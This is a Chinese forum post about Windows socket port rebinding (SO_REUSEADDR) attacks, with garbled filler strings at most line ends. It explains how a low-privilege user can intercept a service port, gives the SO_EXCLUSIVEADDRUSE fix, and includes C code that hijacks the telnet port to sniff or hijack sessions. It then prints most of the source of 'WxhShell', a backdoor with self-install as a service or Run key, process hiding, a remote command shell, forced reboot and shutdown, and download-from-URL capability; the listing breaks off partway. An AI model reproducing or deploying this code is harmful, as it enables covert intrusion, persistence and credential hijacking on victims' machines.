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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @"#W\m8  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }]H_|V*f  
<j.bG 7  
  saddr.sin_family = AF_INET; oA&V,r  
6Hn3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); !%?X% @9  
Oj*3'?<7=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &` u<KKF6  
0iX;%SPYz  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 \Podyh/;?  
^.J F?2T/  
  这意味着什么?意味着可以进行如下的攻击: b!ZXQn3X<  
ODH@ /  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 n(b(H`1n  
(SLAq$gvd  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~o+HAc`=v  
lc=C  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 DT@6Q.  
x.+}-(`W#~  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #is:6Z,OEU  
D/Y.'P:j  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 .sA?}H#wb  
-zd*tujx  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @hiwq 7[j  
<;.Zms${@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 N}>XBZy  
DH_Mll>  
  #include Vet7a_  
  #include "K z=Z C  
  #include 2Ek6YNx  
  #include    XnQo0 R.PW  
  DWORD WINAPI ClientThread(LPVOID lpParam);   O=#FpPHrdw  
  int main() J8$G-~MeJ  
  { DLkNL?a  
  WORD wVersionRequested; "| <\\HR  
  DWORD ret; _gB`;zo  
  WSADATA wsaData; M? oK@i  
  BOOL val; EW{z?/  
  SOCKADDR_IN saddr; +xwz.:::  
  SOCKADDR_IN scaddr; W$0<a@  
  int err; fi%u]  
  SOCKET s; 6v0^'}  
  SOCKET sc; 3Bz0B a  
  int caddsize; RV|: mI  
  HANDLE mt; vS:%(Y"!<  
  DWORD tid;   ;PJWd|3  
  wVersionRequested = MAKEWORD( 2, 2 ); 02} &h  
  err = WSAStartup( wVersionRequested, &wsaData ); A}sb 2P  
  if ( err != 0 ) { ]S[zD|U%  
  printf("error!WSAStartup failed!\n"); m El*{]  
  return -1; IEdC _6G  
  } {hX. R  
  saddr.sin_family = AF_INET; dx@#6Fhy  
   ky#d`   
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 d^IOB|6Q  
:QsGwhB  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); dfe 9)m>  
  saddr.sin_port = htons(23); Mu18s}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3mgFouX2x,  
  { vt[4"eU  
  printf("error!socket failed!\n"); zqqpBwk#  
  return -1; j[yGfDb  
  } :*e0Z2=  
  val = TRUE; 8f% @  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 viAvD6e  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) N7*JL2Rnq  
  { ]YZ+/:#U7  
  printf("error!setsockopt failed!\n"); -3X#$k8  
  return -1; =eSG7QfS  
  } 7Rj!vj/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,*r"cmz  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 tq?lF$mM:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |^Z1 D TAw  
L*9^-,  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) n6[bF "v  
  { /g712\?M4  
  ret=GetLastError(); rSB"0 W7  
  printf("error!bind failed!\n"); *J?QXsg  
  return -1; mUzNrkG(G  
  } Y*O7lZuF%  
  listen(s,2); S)z jfJR  
  while(1) ,:QG%Et  
  { [b J/$A  
  caddsize = sizeof(scaddr); e%j+,)Ry  
  //接受连接请求 : KZI+  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7C ABM  
  if(sc!=INVALID_SOCKET) ^v3ytS  
  { )ye[R^!}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); tsU.c"^n  
  if(mt==NULL) //:.k#}~B  
  { h/`OG>./  
  printf("Thread Creat Failed!\n"); Oe^3YOR#j{  
  break; Vy{=Y(cpF2  
  } SMk{159q&  
  } ?b:J6(-  
  CloseHandle(mt); {.z2n>1J{T  
  } AShJt xxa  
  closesocket(s); |t|+pBB  
  WSACleanup(); z['>`Kt  
  return 0; *4r 1g+0  
  }   ];^A8?  
  DWORD WINAPI ClientThread(LPVOID lpParam) RM-| ?%  
  { `Te n2(D  
  SOCKET ss = (SOCKET)lpParam; Wk'KN o  
  SOCKET sc; abWmPi  
  unsigned char buf[4096]; rZe"*$e  
  SOCKADDR_IN saddr; oGly|L>  
  long num; ,y3o ,gl  
  DWORD val; 57)S"  
  DWORD ret; vAq`*]W+  
  //如果是隐藏端口应用的话,可以在此处加一些判断 $uawQf+S  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   8N!E`{W  
  saddr.sin_family = AF_INET; `.Y["f 1B  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Mvrc[s+o  
  saddr.sin_port = htons(23); 7<AHQ<#@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [L|H1ll  
  { AGn:I??  
  printf("error!socket failed!\n"); DL|,:2`  
  return -1; 9]VUQl9gh  
  } <dD}4c+/t  
  val = 100; ~kYUp5f  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?BQZ\SXU  
  { LSNa  
  ret = GetLastError(); VCcLS3  
  return -1; 22`W*e@6h  
  } p< '#f,o  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~o= Sxaf  
  { L"1UUOKy  
  ret = GetLastError(); m7^aa@^m  
  return -1; z;GnQfYG  
  } Eg5|XV  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &iR>:=ks N  
  { 6/wAvPB$  
  printf("error!socket connect failed!\n"); ^u:7U4  
  closesocket(sc); A0cC)bd&  
  closesocket(ss); X + *@  
  return -1; (X,Ua+{  
  } za1MSR  
  while(1) *|Q'?ty(x  
  { p8oOm>B96n  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 x$J1%K*  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 2+TCFpv  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 @~U: |h  
  num = recv(ss,buf,4096,0); 92WvD  
  if(num>0) :qc@S&v@]  
  send(sc,buf,num,0); XN5EZ#  
  else if(num==0) 8*H-</ =  
  break; CK 3]]{  
  num = recv(sc,buf,4096,0); EJ.oq*W!*J  
  if(num>0) he wX)  
  send(ss,buf,num,0); V2,54YE  
  else if(num==0) U voX\  
  break; wRgmw 4  
  } -f#0$Z/0  
  closesocket(ss); "8&pT^  
  closesocket(sc); 2w'Q9&1~  
  return 0 ; "nU5c4   
  } $}jp=?,t  
'LpJ:Th  
tlV>  
========================================================== Q'~kWmLf  
Ha1E /b]K  
下边附上一个代码,,WXhSHELL 84DneSpHsp  
VtUe$ft  
========================================================== sczN0*w&C  
,u#uk7V  
#include "stdafx.h"  Mhm3u  
}\:3}'S.$  
#include <stdio.h> hq6fDRO/4  
#include <string.h> 1Zx|SBF  
#include <windows.h> aA-A>z  
#include <winsock2.h> 4!i`9w$$"  
#include <winsvc.h> ^rfY9qMJr8  
#include <urlmon.h> [!]a' T#x  
@v ss:'l  
#pragma comment (lib, "Ws2_32.lib") \6-x~%xK  
#pragma comment (lib, "urlmon.lib") )y\^5>p[  
Ds9pXgU( Z  
#define MAX_USER   100 // 最大客户端连接数 zIi|z}WJ  
#define BUF_SOCK   200 // sock buffer TUIj-HSe  
#define KEY_BUFF   255 // 输入 buffer bTHKMaGWC  
wOOBW0tj  
#define REBOOT     0   // 重启 dQYb)4ir  
#define SHUTDOWN   1   // 关机 ^ ~:f02[D  
+wXrQV  
#define DEF_PORT   5000 // 监听端口 ,=O`'l >K  
dFS>uIT7X  
#define REG_LEN     16   // 注册表键长度 +(x^5~QX  
#define SVC_LEN     80   // NT服务名长度 &M,a+|yuY  
yQ}$G ,x  
// 从dll定义API 7*^-3Tt83  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Bq.@CxK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'C8VD+p  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [mn@/qf  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); AqB5B5}  
WjW+ EF8(  
// wxhshell配置信息 0; 2i"mzS\  
struct WSCFG { Tz4,lwuWX7  
  int ws_port;         // 监听端口 uz-,)  
  char ws_passstr[REG_LEN]; // 口令 NZdjS9  
  int ws_autoins;       // 安装标记, 1=yes 0=no iZ<^p1i  
  char ws_regname[REG_LEN]; // 注册表键名 "CLoM\M)  
  char ws_svcname[REG_LEN]; // 服务名 HYyO/U9z|I  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p~6/+ap  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8W#/=Xh?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dqnH7okZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no y  >r7(qg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z8_m<uewz  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /vll*}}  
1 0lvhzU  
}; DZ92;m  
k"&l o h  
// default Wxhshell configuration bXF>{%(}E  
struct WSCFG wscfg={DEF_PORT, lYmqFd~p  
    "xuhuanlingzhe", (4cWq!ax<$  
    1, ^q5~;_z|  
    "Wxhshell", 3('=+d[}Vw  
    "Wxhshell", px %xoY  
            "WxhShell Service", 26PUO$&b.  
    "Wrsky Windows CmdShell Service", X1&Ug ^  
    "Please Input Your Password: ", <nlZ?~%}  
  1, _BO:~x  
  "http://www.wrsky.com/wxhshell.exe", , (dg]7  
  "Wxhshell.exe" v#0F1a?]D  
    }; 8^\}\@  
{STOWuY  
// 消息定义模块 h[ #Lg3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; i]J*lM7'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g}"`@H(9r3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k"D6Vyy`  
char *msg_ws_ext="\n\rExit."; 5Ds/^fA  
char *msg_ws_end="\n\rQuit."; 0D/u`-  
char *msg_ws_boot="\n\rReboot..."; (|)`~z  
char *msg_ws_poff="\n\rShutdown..."; 6zh<PETa03  
char *msg_ws_down="\n\rSave to "; lffp\v{w  
Hy ^E m  
char *msg_ws_err="\n\rErr!"; M #'br<]  
char *msg_ws_ok="\n\rOK!"; x;)bp7  
L9Sd4L_e  
char ExeFile[MAX_PATH]; W2/FGJD  
int nUser = 0; 0T7(c-  
HANDLE handles[MAX_USER]; ! Ob  
int OsIsNt; tvXoF;Yq  
I$/*Pt];  
SERVICE_STATUS       serviceStatus; J ^gtSn^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; HM57b>6  
O4RNt,?l  
// 函数声明 ~\kJir  
int Install(void); EBlfwFd  
int Uninstall(void); W&CQ87b  
int DownloadFile(char *sURL, SOCKET wsh); yTzP{I  
int Boot(int flag); 5v <>%=  
void HideProc(void); c.-h'1  
int GetOsVer(void); A}WRpsA9  
int Wxhshell(SOCKET wsl); xFxl9oM."  
void TalkWithClient(void *cs); WA}<Zme3[  
int CmdShell(SOCKET sock); o|Cq#JFG  
int StartFromService(void); OzY55  
int StartWxhshell(LPSTR lpCmdLine); FdEzt  
q9cmtZrm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); mkgGX|k;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6hDK;J J&  
7?Q@Hj(:NT  
// 数据结构和表定义 o#3?")>|  
SERVICE_TABLE_ENTRY DispatchTable[] = _nu,ks+  
{ Tlrr02>B{  
{wscfg.ws_svcname, NTServiceMain}, D FDC'E  
{NULL, NULL} ^,u0kMG5l  
}; kms&o=^  
D^Ahw"X)  
// 自我安装  W%LTcm  
int Install(void) ?&;d#z*4  
{ *z[G+JX  
  char svExeFile[MAX_PATH]; XndGe=O  
  HKEY key; >2h|$6iWP  
  strcpy(svExeFile,ExeFile); S^q)DuF5!  
+v4P9V|s  
// 如果是win9x系统,修改注册表设为自启动 j_N><_Jc  
if(!OsIsNt) { rt">xVl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7pMl:\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3 i<,#FaL  
  RegCloseKey(key); r>73IpJI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #p& &w1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !Ic;;<  
  RegCloseKey(key); 4;"^1 $  
  return 0; (ii6w d< *  
    } x ,$N!X  
  } @(>XSTh9  
} Gt#Jr!N~  
else { pRI<L'  
@P=St\;VP  
// 如果是NT以上系统,安装为系统服务 OS8 ^mC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +Qy*s1fit  
if (schSCManager!=0) ~3byAL  
{ 0#(K}9T)  
  SC_HANDLE schService = CreateService uC\FW6K=m  
  ( dmh6o *  
  schSCManager, )E;+C2G  
  wscfg.ws_svcname, zogtIn)  
  wscfg.ws_svcdisp, Y[%1?CREP  
  SERVICE_ALL_ACCESS, HScj  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +|}R^x`z  
  SERVICE_AUTO_START, GMmz`O XN  
  SERVICE_ERROR_NORMAL, bwh7.lDAl  
  svExeFile, \#4??@+Xf  
  NULL, u I$| M  
  NULL, OLXkiesK{  
  NULL, &qw7BuF  
  NULL, ' JHCf  
  NULL V]b1cDx{  
  ); &<I*;z6%t  
  if (schService!=0) YnnpgR.  
  { gcYx-gA}  
  CloseServiceHandle(schService); csn/h$`-@  
  CloseServiceHandle(schSCManager); xlPUu m-o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); TDI8L\rr  
  strcat(svExeFile,wscfg.ws_svcname); wMy$T<:   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m"Y;GzqQl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .C^1.)  
  RegCloseKey(key); &`>[4D*  
  return 0; kPwgayz  
    } z;1y7W!v  
  } =Y`P}vI]w%  
  CloseServiceHandle(schSCManager); |8I #`  
} 8r '  
} .DSn H6O  
Zgp]s+%E  
return 1; [6x-c;H_4  
} rkhQoYZ[  
dz/' m7  
// 自我卸载 <hi@$.u_Q^  
int Uninstall(void) 1-Fg_G}|6  
{ [?3*/*V  
  HKEY key; Hw"ik6  
"|W .o=R  
if(!OsIsNt) { )6|7L)Dk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `(A6uakd  
  RegDeleteValue(key,wscfg.ws_regname); =PHl|^  
  RegCloseKey(key); 3/I Q]8g"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $ tf;\R  
  RegDeleteValue(key,wscfg.ws_regname); W- wy<<~f  
  RegCloseKey(key); j]7|5mC78  
  return 0; [vki^M5i|Z  
  } c>fLSf  
} F-}-/N]o q  
} :LRR\v0HM  
else { /UeLf $%ZW  
`x:znp}'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qh Ezv~  
if (schSCManager!=0) A^7!:^%K  
{ YArNJ5z=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1|Y(XB^os(  
  if (schService!=0) w+Ve T@  
  { 8+vZ9!7  
  if(DeleteService(schService)!=0) { ?]gZg[  
  CloseServiceHandle(schService); @C)O[&Sk  
  CloseServiceHandle(schSCManager); lhg3 }dW  
  return 0; Li ,B,   
  } E_&Hje|J_[  
  CloseServiceHandle(schService); 1lyJ;6i6L  
  } ^q6H =Dl  
  CloseServiceHandle(schSCManager); OJE<2:K  
} fs4pAB#F  
} Hh @q;0ni  
K%LDOVE8e  
return 1; H e]1 <tx  
} E/cA6*E[.<  
~ `2w ul  
// 从指定url下载文件 }GvoQ#N  
int DownloadFile(char *sURL, SOCKET wsh) G%)?jg@EA  
{ U -~%-gFC  
  HRESULT hr; GypZ!)1  
char seps[]= "/"; 8xhXS1  
char *token; GZT}aMMSJ  
char *file; }C>Q  
char myURL[MAX_PATH]; 1"46O Cu{  
char myFILE[MAX_PATH]; dJ\6m!Mp  
A9PXu\%y  
strcpy(myURL,sURL); q0WW^jwQ  
  token=strtok(myURL,seps); )gdv!  
  while(token!=NULL) || ?B1  
  { 5A1oZ+C#  
    file=token; / uI/8>p(  
  token=strtok(NULL,seps); oR}ir  
  } y8: 0VZox  
o;Ijv\Em  
GetCurrentDirectory(MAX_PATH,myFILE); 4W8rb'B!Ay  
strcat(myFILE, "\\"); |Hn[XRsf  
strcat(myFILE, file); q! W ~>c!  
  send(wsh,myFILE,strlen(myFILE),0); 1!8*mk_R{  
send(wsh,"...",3,0); 20m6-rkI<}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P Y +~,T2  
  if(hr==S_OK)  d$ Mk  
return 0; 2>Kq)Ii  
else 1_:1cF{w  
return 1; YVVX7hB  
OXDlwbwL  
} x( w <U1  
O%9Cq}*  
// 系统电源模块 'R*gSqx~  
int Boot(int flag) ($(6]?J(?7  
{ T(+F6d=1  
  HANDLE hToken; V5rnI\:7  
  TOKEN_PRIVILEGES tkp; ^7q=E@[e  
!mBsDn(J  
  if(OsIsNt) { X[k-J\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A(_AOoA'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B%6bk.  
    tkp.PrivilegeCount = 1; L5T)_iQ5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^ vI|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nR/; uTTz  
if(flag==REBOOT) { ,r5<v_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r0G#BPgdR  
  return 0; d_J?i]AP|'  
} iMx+y5O  
else { Y=X"YH|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mDE{s",q/  
  return 0; 9BI5qHEp  
} 4 E3@O  
  } ,-  ]2s_  
  else { c Yx=8~-  
if(flag==REBOOT) { )$q<"t\#P#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1E$Z]5C9  
  return 0; xy mK|  
} qU8UKIP  
else { VR?7{3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <6<uO\B\  
  return 0; w :FH2*  
} &_4A6  
} UTA0B&aB  
+lJuF/sS8m  
return 1; 37p0*%a":  
} $ajw]2kx  
B0p>'O2  
// win9x进程隐藏模块 SUD]Wl7G`r  
void HideProc(void) =)M8>>l  
{ -Kg@Sj/U}R  
 %W"\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PkDL\Nqe  
  if ( hKernel != NULL ) x|0Q\<mEe  
  { Y@eHp-[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H[@}ri<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R'dF<&Kj|  
    FreeLibrary(hKernel); 3JW9G04.  
  } fH`1dU  
C*Ws6s>+z  
return; BT>*xZLpS  
} Aog 3d\1$  
1)_f9GR  
// 获取操作系统版本 TG?;o/  
int GetOsVer(void) ?P`wLS^;  
{ 5[l3]HOO  
  OSVERSIONINFO winfo; 1+eC'&@Xjt  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -D:J$d 6R<  
  GetVersionEx(&winfo); W}L =JJo},  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) eE7 R d>  
  return 1; jLr8?Hyf  
  else |D]jdd@!a2  
  return 0; q 4 Ye  
} |<y[gj4`T/  
KH pxWq  
// 客户端句柄模块 KXw \N!  
int Wxhshell(SOCKET wsl) um ,/^2A  
{ w2{k0MW  
  SOCKET wsh; /2'\ya4B  
  struct sockaddr_in client; nr&G4t+%Hv  
  DWORD myID; z*yN*M6t  
u"T5m  
  while(nUser<MAX_USER) ls*^ 3^O  
{ @TgCI`E   
  int nSize=sizeof(client); @Jm$<E  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fvit+  
  if(wsh==INVALID_SOCKET) return 1; oPa2GW8  
*qOo,e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ix:aHl  
if(handles[nUser]==0) g-^CuXic  
  closesocket(wsh); }$qy_Esl  
else 0@AK  
  nUser++; $Z{ fKr  
  } wCmwH=O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?\vJ8H[bD  
/2l4'Q=  
  return 0; r}hj,Sq'  
} -8 &f=J)  
a*SJHBB  
// 关闭 socket P\2QH@p@t  
void CloseIt(SOCKET wsh) ]-* }-j`  
{ O)9T|, U  
closesocket(wsh); PI?-gc?[  
nUser--; TqQ>\h"&_  
ExitThread(0); 0eQ5LG?)  
} ORtl~V'  
|qI_9#M\(  
// 客户端请求句柄 m7M*)N8  
void TalkWithClient(void *cs) WX0@H[$i#  
{ y~- ?   
W 8E<P y  
  SOCKET wsh=(SOCKET)cs; #mllVQ  
  char pwd[SVC_LEN]; vjXvjv{t  
  char cmd[KEY_BUFF]; ).ugMuk  
char chr[1]; PFPfLxna  
int i,j; 1Eg}qU,:  
~Zj?%4  
  while (nUser < MAX_USER) { h+Q ==  
i(c2NPbX  
if(wscfg.ws_passstr) { Q;aZpi-E"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E#HO0 ]S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &)bar.vw/  
  //ZeroMemory(pwd,KEY_BUFF); %{HqF>=~  
      i=0; :=i0$k<E/  
  while(i<SVC_LEN) { /au\OBUge  
cOUO_xp(  
  // 设置超时 ~(%G; fZ?x  
  fd_set FdRead; pM#:OlqC  
  struct timeval TimeOut; m7RWuI,  
  FD_ZERO(&FdRead); ,Y`C7Px  
  FD_SET(wsh,&FdRead); ?<nz2 piP,  
  TimeOut.tv_sec=8; |_w*:NCV5  
  TimeOut.tv_usec=0; wV-cpJ,}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z&.FJZUP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *E$D,  
zZf#E@=$|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !o.g2  
  pwd=chr[0]; Tl=vgs1  
  if(chr[0]==0xd || chr[0]==0xa) { 2}}~\C}o+  
  pwd=0; U3za}3  
  break; RsV<*s  
  } t8P>s})[4  
  i++; 55!9U:{  
    } ^ MddfBwk  
=} vG|  
  // 如果是非法用户,关闭 socket 8L|C&Ymj  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (O<lVz@8  
} G+%ZN  
M.IV{gj  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Lqch~@E&%#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); . }=;]=  
3)3'-wu  
while(1) { %hTe%(e  
_X]?  
  ZeroMemory(cmd,KEY_BUFF); |/<iydP  
m.^6e f  
      // 自动支持客户端 telnet标准   @C!q S7k)  
  j=0; {;-$;\D  
  while(j<KEY_BUFF) { RMvlA' c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yGD0}\!n  
  cmd[j]=chr[0]; ]7VK&YfN  
  if(chr[0]==0xa || chr[0]==0xd) { /S;?M\  
  cmd[j]=0; }Ns_RS$  
  break; db4&?55Q  
  } P0z "Eq0S  
  j++; b uhxC5i%  
    } ]Ny]Ox<  
Iy,)>V%iZV  
  // 下载文件 D^TKv;%d  
  if(strstr(cmd,"http://")) { _n_i*p '2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F_21`Hj  
  if(DownloadFile(cmd,wsh)) o3W5FHFAv  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u#P7~9ZG-  
  else 'PO1{&M  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~z'0~3  
  } t6"4+:c!>  
  else { t*<c+Ixu  
'rF TtT  
    switch(cmd[0]) { 6 XG+YIG6w  
  -[7.VP   
  // 帮助 p5 [uVRZ  
  case '?': { -!}1{   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1u` Z?S(  
    break; 3{c&%F~!  
  } P`oR-D  
  // 安装 D=OU61AA  
  case 'i': { >N3{*W  
    if(Install()) MD On; Af>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A9R}74e4g  
    else 3n/L; T,X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^{Vm,nAQqs  
    break; cbteNA!>  
    }  o j^U  
  // 卸载 /J6CSk  
  case 'r': { C4G)anT  
    if(Uninstall()) ~Ep&:c4:D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); asJYGqdF  
    else }.hBmhnZmI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;zOZu~Q|'  
    break; Qz<-xe`o8]  
    } Hc+<(g   
  // 显示 wxhshell 所在路径 S2NsqHJr  
  case 'p': { bHMlh^{`%  
    char svExeFile[MAX_PATH]; fSP~~YSeU  
    strcpy(svExeFile,"\n\r"); ~q4y'dBy*  
      strcat(svExeFile,ExeFile); 3a5H<3w_  
        send(wsh,svExeFile,strlen(svExeFile),0); givK{Yt<B  
    break; 4-"wFp  
    } Xmnq ZWB  
  // 重启 IX>|bA;  
  case 'b': { Y.73I83-j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3LTO+>, |"  
    if(Boot(REBOOT)) '|cuVxcE55  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B8nXWi  
    else { cshUxabB  
    closesocket(wsh); td m{ V st  
    ExitThread(0); 1dq.UW\  
    } Rsulp#['  
    break; p<+]+,|\~:  
    } f*I5 m=  
  // 关机 F;ZLoG*U  
